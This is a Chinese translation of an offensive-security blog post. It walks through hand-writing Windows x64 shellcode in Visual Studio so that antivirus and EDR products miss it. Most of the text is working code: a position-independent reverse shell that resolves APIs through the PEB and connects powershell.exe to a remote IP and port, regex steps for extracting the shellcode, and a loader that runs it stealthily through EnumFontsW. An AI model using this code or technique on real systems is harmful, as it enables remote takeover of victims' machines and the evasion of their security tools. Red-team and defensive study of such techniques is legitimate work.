【翻译】How To Craft Your Own Windows x8664 Shellcode w Visual Studio
x62x6Fx75x68x21
现在许多防病毒和 EDR 产品都已经整合了检测由知名工具 (如 msfvenom(Metasploit 的载荷生成器) 或 Sliver(C2)) 生成的 shellcode 的方法和模式。尽管这些工具非常强大,但它们因其知名度而备受关注,使得红队行动在绕过防护方面变得非常困难。虽然可以在加载器中混淆/加密 shellcode,或者分块加载它,以及使用其他技巧,但如果你具备一些 C++ 技能,了解如何制作自己的 shellcode 将会更加有用,因为你可以根据需求进行定制,并且可以实现无限的功能。
我们将创建一个恶意载荷,比如反向 shell,然后将其转换为 x64 shellcode。这里设计的载荷/shellcode 是无阶段的,因为这毕竟只是一个概念验证,但你可以轻松地改进它,并使用反射式 DLL 加载等方法实现分阶段载荷。 我们还将设计一个 不依赖于任何预导入 的载荷,它会自行检索所需的函数并加载必要的 DLL。
作为额外收获,我们将看到如何从表面上看起来完全合法的函数 (如EnumFontsW
) 中执行 shellcode,这些函数最初的目的是枚举 Windows 字体🙉。
从 PEB 开始
PEB(进程环境块) 是一个用户模式结构,它收集了属于该进程的某些信息,并包含在 EPROCESS 内核结构中。EPROCESS 结构包含只能在内核模式下访问的结构,但 PEB 除外,其信息可以在用户模式下访问。
我们即将设计的程序将只包含一个线程:主线程,它将有自己的 TIB(线程信息块) 结构,也称为 TEB(线程环境块)。这个结构包含了特殊内存段 GS 和 FS 的引用等内容。这些段随后可用于定位 TIB/TEB 的某些部分,包括 PEB。 请注意,FS 段用于 32 位系统,GS 段用于 64 位系统。
这里是所有 TIB/TEB 内部结构、数据及其关联的 FS/GS 段的列表。我们需要定位 PEB,因为它是我们恶意载荷的起点,后面我们还需要它来检索载荷所需的一切。 你可以看到指向 PEB 地址的 GS 段偏移量是 0x60,这个偏移量指向 PEB 的线性地址。
我们将使用内部函数__readgsqword
从 GS 段读取该偏移量的值。 我们将把该值转换为指向 PEB 结构的 PPEB 指针。
PPEB peb = (PPEB)__readgsqword(0x60);
获取加载器数据表 (LDR) 内容
接下来我们将从 PEB 中获取指向 PEB_LDR_DATA 结构的指针。
typedef struct _PEB_LDR_DATA
{
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedefstruct _LIST_ENTRY
{
PLIST_ENTRY Flink;
PLIST_ENTRY Blink;
} LIST_ENTRY, *PLIST_ENTRY;
该结构包含 LIST_ENTRY 结构,我们关注的是 InMemoryOrderModuleList,这是一个双向链表,其中每个元素按照加载顺序代表进程加载的一个模块。第一个元素代表进程模块本身,第二个元素是 NTDLL,第三个是 KERNEL32。我们的载荷只需要后面这两个模块就可以完成剩余的工作,例如加载所需的库文件 (如 WS2_32.dll 或 User32.dll),以及动态链接所需的函数。
我们可以通过遍历链表来获取和打印 InMemoryOrderModuleList
结构的内容,确保在两个相同的前向链接相遇时停止:
PPEB_LDR_DATA peb_ldr_data = (PPEB_LDR_DATA)peb->Ldr;
PLIST_ENTRY first_list_entry = (PLIST_ENTRY)&(peb_ldr_data->InMemoryOrderModuleList);
PLIST_ENTRY list_entry = first_list_entry->Flink;
while (list_entry->Flink != first_list_entry->Flink) {
PLDR_DATA_TABLE_ENTRY pldr_data_table_entry = (PLDR_DATA_TABLE_ENTRY)list_entry;
wcout << pldr_data_table_entry->FullDllName.Buffer << endl;
list_entry = list_entry->Flink;
}
这将给我们以下输出,展示了按照内存加载顺序排列的已加载模块:
ownshellcoding.exe
ntdll.dll
KERNEL32.DLL
KERNELBASE.dll
ucrtbase.dll
MSVCP140.dll
VCRUNTIME140.dll
VCRUNTIME140_1.dll
为什么要这样做?因为我们首先需要解析两个基本函数,通过这两个函数我们可以完成所有其他操作。这两个函数是 GetProcAddress,它允许我们从模块中获取过程的地址,以及 LoadLibraryA,它使我们能够将模块加载到进程的内存中。这两个函数都在 Kernel32.dll 中,相信我,仅使用这两个函数我们就能构建恶意载荷。
这就是 LDR 结构发挥作用的地方。它将允许我们找到 Kernel32.dll 的地址,并将其内部结构作为 PE(可移植可执行文件)格式对象进行利用。
解析 Kernel32 PE 对象
第一步,我们获取 Kernel32.dll 对象的 LDR_DATA_TABLE_ENTRY 结构的指针,该对象是如上图所示的第三个内存加载模块。然后,我们声明一个 IMAGE_DOS_HEADER 类型的结构指针,以便随后解析 Kernel32 PE 对象的元素。
PLDR_DATA_TABLE_ENTRY kernel32Entry = CONTAINING_RECORD(peb->Ldr->InMemoryOrderModuleList.Flink->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
PIMAGE_DOS_HEADER kernel32DosHeader = (PIMAGE_DOS_HEADER)kernel32Entry->DllBase;
PIMAGE_NT_HEADERS64 kernel32NtHeader = (PIMAGE_NT_HEADERS64)((BYTE*)kernel32DosHeader + kernel32DosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY kernel32ExportsTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)kernel32DosHeader + kernel32NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* kernel32addressOfFunctions = (DWORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfFunctions);
DWORD* kernel32addressOfNames = (DWORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfNames);
WORD* kernel32addressOfNameOrdinals = (WORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfNameOrdinals);
我们不会深入讨论 PE 格式对象的内部结构(假设你已经对其组成部分有基本了解)。在获取 LDR_DATA_TABLE_ENTRY 和 IMAGE_DOS_HEADER 指针后,我们将遍历 Kernel32.dll 的导出表来找到我们的第一个关键函数:GetProcAddress,它随后将用于定位 LoadLibraryA。
然而,我们不要忘记,最终我们要将程序转换为 shellcode,并且某些数据(如稍后用于定位和访问函数的字符串)需要包含在我们将生成的同一二进制代码中。这意味着这些数据不应该出现在可执行文件的其他节区中,因为如果我们要将 shellcode 导出到另一个进程,这会阻止我们访问它们。声明一个 char*
来保存我们的数据就会导致这种情况。请记住,所有内容都必须局限在我们的 .text 节区内。 解决这个问题的一个简单方法是声明 uint64_t 数据类型或 uint64_t 结构体,它们将以十六进制形式包含我们的字符串,唯一的小限制是我们需要以小端格式来做这个!
//47 65 74 50 72 6F 63 41 -> GetProcA (first 8 bytes)
uint64_t GetProcA = 0x41636F7250746547;
struct {
uint64_t t0, t1;
} text;
// User32.dll
// 75 73 65 72 33 32 2E 64 -> User32.d
// 6C 6C -> ll
text.t0 = 0x642E323372657375; (first 8 bytes)
text.t1 = 0x0000000000006C6C; (last 2 bytes)
现在,我们可以更进一步获取 GetProcAddress 的地址,但首先,我们需要根据 Windows API 中的定义来声明它的函数签名:
/*
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
*/
typedef FARPROC (*_GetProcAddress)(HMODULE, LPCSTR);
_GetProcAddress GetProcAddress = nullptr;
让我们开始吧!接下来,我们将在 Kernel32.dll 的导出表中搜索以"GetProcA"开头的函数,并动态链接它。
for (DWORD i = 0; i < kernel32ExportsTable->NumberOfNames; i++) {
DWORD functionRVA = kernel32addressOfFunctions[i];
constchar* functionName = (constchar*)((BYTE*)kernel32DosHeader + functionRVA);
constchar* exportedName = (constchar*)((BYTE*)kernel32DosHeader + kernel32addressOfNames[i]);
if (*(uint64_t *)((size_t)kernel32DosHeader + kernel32addressOfNames[i]) == GetProcA) {
GetProcAddress = (_GetProcAddress)(constvoid*)((size_t)kernel32DosHeader + kernel32addressOfFunctions[kernel32addressOfNameOrdinals[i]]);
现在我们已经获取到了 GetProcAddress 函数,我们可以用它来定位其他所需的地址,包括 LoadLibraryA。LoadLibraryA 将用于加载我们反向 shell 所需的库,即 User32.dll 和 Ws2_32.dll。
以下是完整的恶意负载源代码,该代码将在 PowerShell 句柄上建立一个指向 172.19.192.197 的 TCP 端口 2106 的反向 shell:
#include <WinSock2.h>
#include <windows.h>
#include <winternl.h>
#include <cstdint>
__declspec(noinline) void customshellcode() {
WSAData wsadata;
struct sockaddr_in sock_addr;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HMODULE ntdll;
HMODULE user32;
HMODULE ws2_32;
HMODULE kernel32;
PPEB peb = (PPEB)__readgsqword(0x60); // gs 0x60 & fs 0x30
PPEB_LDR_DATA peb_ldr_data = (PPEB_LDR_DATA)peb->Ldr;
PLDR_DATA_TABLE_ENTRY ntdllEntry = CONTAINING_RECORD(peb->Ldr->InMemoryOrderModuleList.Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
PIMAGE_DOS_HEADER ntdllDosHeader = (PIMAGE_DOS_HEADER)ntdllEntry->DllBase;
ntdll = (HMODULE)ntdllDosHeader;
PLDR_DATA_TABLE_ENTRY kernel32Entry = CONTAINING_RECORD(peb->Ldr->InMemoryOrderModuleList.Flink->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
PIMAGE_DOS_HEADER kernel32DosHeader = (PIMAGE_DOS_HEADER)kernel32Entry->DllBase;
PIMAGE_NT_HEADERS64 kernel32NtHeader = (PIMAGE_NT_HEADERS64)((BYTE*)kernel32DosHeader + kernel32DosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY kernel32ExportsTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)kernel32DosHeader + kernel32NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* kernel32addressOfFunctions = (DWORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfFunctions);
DWORD* kernel32addressOfNames = (DWORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfNames);
WORD* kernel32addressOfNameOrdinals = (WORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfNameOrdinals);
struct {
uint64_t t0, t1;
} text;
// Ntdll
typedef void (*_memset)(void*, int, size_t);
// Uuser32
typedef int (*_MessageBox)(HWND, LPCTSTR, LPCTSTR, UINT);
// Winsock
typedef int (*_WSAStartup)(WORD, LPWSADATA);
typedef SOCKET(*_WSASocketA)(int, int, int, LPWSAPROTOCOL_INFOA, GROUP, DWORD);
typedef int (*_WSAConnect)(SOCKET, const sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef int (*_send)(SOCKET, const char, int, int);
typedef int (*_recv)(SOCKET, char, int, int);
typedef u_short(*_htons)(u_short);
typedef unsigned long(*_inet_addr)(const char*);
// Kernel32
typedef FARPROC(*_GetProcAddress)(HMODULE, LPCSTR);
typedef HMODULE(*_LoadLibraryA)(LPCSTR);
typedef BOOL(*_CreateProcessA)(LPCSTR, LPCSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
_GetProcAddress GetProcAddress = nullptr;
_LoadLibraryA LoadLibraryA = nullptr;
_MessageBox MessageBox = nullptr;
_WSAStartup WSAStartup = nullptr;
_WSASocketA WSASocketA = nullptr;
_WSAConnect WSAConnect = nullptr;
_send send = nullptr;
_recv recv = nullptr;
_memset memset = nullptr;
_htons htons = nullptr;
_inet_addr inet_addr = nullptr;
_CreateProcessA CreateProcessA = nullptr;
for (DWORD i = 0; i < kernel32ExportsTable->NumberOfNames; i++) {
DWORD functionRVA = kernel32addressOfFunctions[i];
constchar* functionName = (constchar*)((BYTE*)kernel32DosHeader + functionRVA);
constchar* exportedName = (constchar*)((BYTE*)kernel32DosHeader + kernel32addressOfNames[i]);
// GetProcAddress
// 47 65 74 50 72 6F 63 41
// 64 64 72 65 73 73
uint64_t GetProcA = 0x41636F7250746547;
if (*(uint64_t*)((size_t)kernel32DosHeader + kernel32addressOfNames[i]) == GetProcA) {
GetProcAddress = (_GetProcAddress)(constvoid*)((size_t)kernel32DosHeader + kernel32addressOfFunctions[kernel32addressOfNameOrdinals[i]]);
// LoadLibraryA
// 4C 6F 61 64 4C 69 62 72
// 61 72 79 41
text.t0 = 0x7262694C64616F4C;
text.t1 = 0x0000000041797261;
kernel32 = (HMODULE)kernel32DosHeader;
LoadLibraryA = (_LoadLibraryA)GetProcAddress(kernel32, (LPSTR)&text.t0);
// User32.dll
// 75 73 65 72 33 32 2E 64
// 6C 6C
text.t0 = 0x642E323372657375;
text.t1 = 0x0000000000006C6C;
user32 = LoadLibraryA((constchar*)&text.t0);
// LoadLibraryA
// 4D 65 73 73 61 67 65 42
// 6F 78 41
text.t0 = 0x426567617373654D;
text.t1 = 0x000000000041786F;
MessageBox = (_MessageBox)GetProcAddress(user32, (LPSTR)&text.t0);
// Ws2_32.dll
// 57 73 32 5F 33 32 2E 64
// 6C 6C
text.t0 = 0x642E32335F327357;
text.t1 = 0x0000000000006C6C;
ws2_32 = LoadLibraryA((constchar*)&text.t0);
// WSAStartup
// 57 53 41 53 74 61 72 74
// 75 70
text.t0 = 0x7472617453415357;
text.t1 = 0x0000000000007075;
WSAStartup = (_WSAStartup)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);
// WSASocketA
// 57 53 41 53 6F 63 6B 65
// 74 41
text.t0 = 0x656B636F53415357;
text.t1 = 0x0000000000004174;
WSASocketA = (_WSASocketA)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);
// WSAConnect
// 57 53 41 43 6F 6E 6E 65
// 63 74
text.t0 = 0x656E6E6F43415357;
text.t1 = 0x0000000000007463;
WSAConnect = (_WSAConnect)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);
// memset
// 6D 65 6D 73 65 74
text.t0 = 0x00007465736D656D;
text.t1 = 0x0000000000000000;
memset = (_memset)GetProcAddress((HMODULE)ntdll, (constchar*)&text.t0);
// send
// 73 65 6E 64
text.t0 = 0x00000000646E6573;
send = (_send)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);
// recv
// 72 65 63 76
text.t0 = 0x0000000076636572;
recv = (_recv)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);
// htons
// 68 74 6F 6E 73
text.t0 = 0x000000736E6F7468;
htons = (_htons)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);
// inet_addr
// 69 6E 65 74 5F 61 64 64
// 72
text.t0 = 0x6464615F74656E69;
text.t1 = 0x0000000000000072;
inet_addr = (_inet_addr)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);
// CreateProcessA
// 43 72 65 61 74 65 50 72
// 6F 63 65 73 73 41
text.t0 = 0x7250657461657243;
text.t1 = 0x000041737365636F;
CreateProcessA = (_CreateProcessA)GetProcAddress((HMODULE)kernel32, (constchar*)&text.t0);
break;
}
}
// Reverse shell inspired by https://cocomelonc.github.io/tutorial/2021/09/15/simple-rev-c-1.html by @cocomelonc
int init = WSAStartup(MAKEWORD(2, 2), &wsadata);
SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);
// 2106
// 08 3A
text.t0 = 0x83A;
text.t1 = 0x0000000000000000;
short port = static_cast(text.t0);
sock_addr.sin_family = AF_INET;
sock_addr.sin_port = htons(port);
// 172.19.192.197
// 31 37 32 2E 31 39 2E 31
// 39 32 2E 31 39 37
text.t0 = 0x312E39312E323731;
text.t1 = 0x00003739312E3239;
sock_addr.sin_addr.s_addr = inet_addr((constchar*)&text.t0);
int conn = WSAConnect(sock, (SOCKADDR*)&sock_addr, sizeof(sock_addr), NULL, NULL, NULL, NULL);
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdInput = si.hStdOutput = (HANDLE)sock;
// powershell.exe
// 70 6F 77 65 72 73 68 65
// 6C 6C 2E 65 78 65
text.t0 = 0x6568737265776F70;
text.t1 = 0x00006578652E6C6C;
CreateProcessA(NULL, (constchar*)&text.t0, NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
}
int main() {
customshellcode();
return0;
}
我们可以确认已成功建立了与远程机器的反向 shell 连接。现在,是时候将所有这些转换为 shellcode 了!
将 payload 转换为 shellcode
首先,确保我们处于 release 模式,并选择构建目标 (x64 或 x32)。
不要使用 Debug 模式,因为 Visual Studio 可能会添加某些符号和后台指令,这会影响汇编代码的一致性和独立性。
接下来,确保在编译设置中禁用/GS 选项。此选项会向二进制代码添加安全 cookie,这也可能影响 shellcode 的独立性。
然后,在包含 payload 的函数上设置断点。在我的例子中,它名为 custom_shellcode()。
接着使用 Visual Studio 本地调试器启动程序。程序执行将在您设置的断点处停止。现在,按 Ctrl+Alt+D 打开代码的反汇编视图。
为了便于我们接下来要做的事情,请确保选择显示代码字节。
之后,将函数的汇编代码复制到文本编辑器中,并应用一组正则表达式来格式化 shellcode。搜索和替换的正则表达式集如下:
// 1. 替换为空,这将删除助记符和后面的指令
Regex: b(?:mov|movsxd|ret|cmp|lea|call|inc|jmp|movzx|push|nop|ret|xor|sub|pop|jb|add|je|test)b.*$
// 2. 通过在搜索栏中搜索空格字符并将其替换为空来删除所有空格。
// 3. 通过搜索 (.{30}) 并将其替换为 $1n 来包装 Shellcode
// 4. 通过搜索 (.{2}) 并将其替换为 x$1,然后搜索 (^|$) 并将其替换为 " 来格式化 Shellcode,添加 'x' 和引号
以下是结果:
太棒了!现在我们已经得到了 shellcode,可以将它复制到负责执行它的程序中。为此,我们将从一个本不是为此目的设计的例程 EnumFontsW 来启动我们的 shellcode。
使用 EnumFontsW 例程来启动我们的 shellcode 为执行过程增加了一个隐蔽性元素。由于 EnumFontsW 是 Windows 中用于枚举可用字体的合法函数,它可能不会引起防病毒软件或终端检测与响应 (EDR) 系统的怀疑,这使其成为执行我们的 shellcode 而不引起不必要注意的理想选择。这种技术常用于各种形式的代码注入和 shellcode 执行,以绕过安全措施。
以下是用于启动 shellcode 的完整程序:
#include <iostream>
#include <stdint.h>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#pragma warning (push, 0)
#include <winternl.h>
#include <cstdint>
// Paste your shellcode there
unsignedchar sc[] =
"x48x89x5Cx24x20x55x56x57....";
int main() {
LPVOID scBaseAddr = VirtualAlloc(NULL, sizeof(sc), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(scBaseAddr, sc, sizeof(sc));
HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)scBaseAddr, NULL);
return0;
}
轰!Shellcode 成功执行了!!😺🏴☠️
原文始发于微信公众号(securitainment):如何使用 Visual Studio 制作 Windows x86-64 Shellcode
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论